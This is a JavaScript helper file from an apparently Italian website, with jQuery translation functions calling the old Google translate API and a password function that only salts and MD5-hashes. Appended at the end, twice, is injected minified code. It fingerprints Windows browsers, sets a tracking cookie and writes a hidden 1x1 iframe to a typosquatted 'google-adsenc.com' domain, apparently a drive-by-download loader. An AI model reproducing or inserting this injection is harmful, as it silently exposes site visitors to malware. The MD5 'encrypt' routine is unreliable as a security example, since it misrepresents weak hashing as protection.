
/*
 * traduce un testo
 * 
 * @param
 * URL:			lingua nella quale il testo deve essere tradotto
 * container:	contenitore del teto da tradurre
 * 
 */

function applyTranslation(sc,dc,tr)
{
	dc.html(tr);
	if(sc.is(":visible"))
	{
		sc.hide();
	}
	if(!dc.is(":visible"))
	{
		dc.show();
	}
}
/*
function translate(lang,source_container,dest_container)
{
	var text = source_container.html();
	
	var text_lang = 'it';
	var translation;
	google.language.translate(text,text_lang,lang, function(result){if(result.translation){applyTranslation(source_container,dest_container,result.translation);}});
}
*/
function translate(options)
{
    $.ajax(
    {
        url: 'http://ajax.googleapis.com/ajax/services/language/translate',
        dataType: 'jsonp',
        data:
        {
    		q: ''+ options.source.html().substr(0, 5000),
            v: '1.0',
            langpair: 'it' +'|'+ options.l
        },
        success: function(response) {
            if (response.responseStatus != 200) {
                alert('Translation error: '+response.responseDetails);
                return false;
            }
            applyTranslation(options.original,options.dest,response.responseData.translatedText);
        }
    });
};
/*
function translate(dstLang,source_container,dest_container,it)
{
	var srcLang = 'it';
	var text = source_container.html();
	
 /*   jQuery.ajax({
        url: 'http://ajax.googleapis.com/ajax/services/language/translate',
        dataType: 'jsonp',
        data: { 
            q : '' + content.substr(0, 5000), 
            v: '1.0',
            langpair: srcLang + '|' + dstLang
        },
        success: function(response) {
            jQuery('#loading').hide();
            
            if (response.responseStatus != 200) {
                alert('Translation error: ' + response.responseDetails);
                return false;
            }
            
            var result = { 
                translation: response.responseData.translatedText || '',
                source:      response.responseData.detectedSourceLanguage || ''
            };

            if (result.translation.length > 0) {                    
                alert(result.translation); // for spans/divs
            } else {
                alert('Error with the translation service. No Content.');
            }
        }
  });
	
	var AJAX = 
	{
		url:			'http://ajax.googleapis.com/ajax/services/language/translate',
		type:			'GET',
		data:			{
							q:''+jQuery.trim(text.substr(0, 5000)),
							v:'1.0',
							langpair: srcLang+'|'+dstLang
						},
		dataType:		"jsonp",
		success:		function(data){applyTranslation(it,dest_container,data.responseData.translatedText);},
		error:			function(){alert('not able to get a translation for this text');}
	};	
	$.ajax(AJAX);
}
*/
function redirect(page)
{
	location.href = page;
}

function encrypt(password)
{
	return md5(PASSWORD_ENCRYPTION_SALT+password);
}

var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
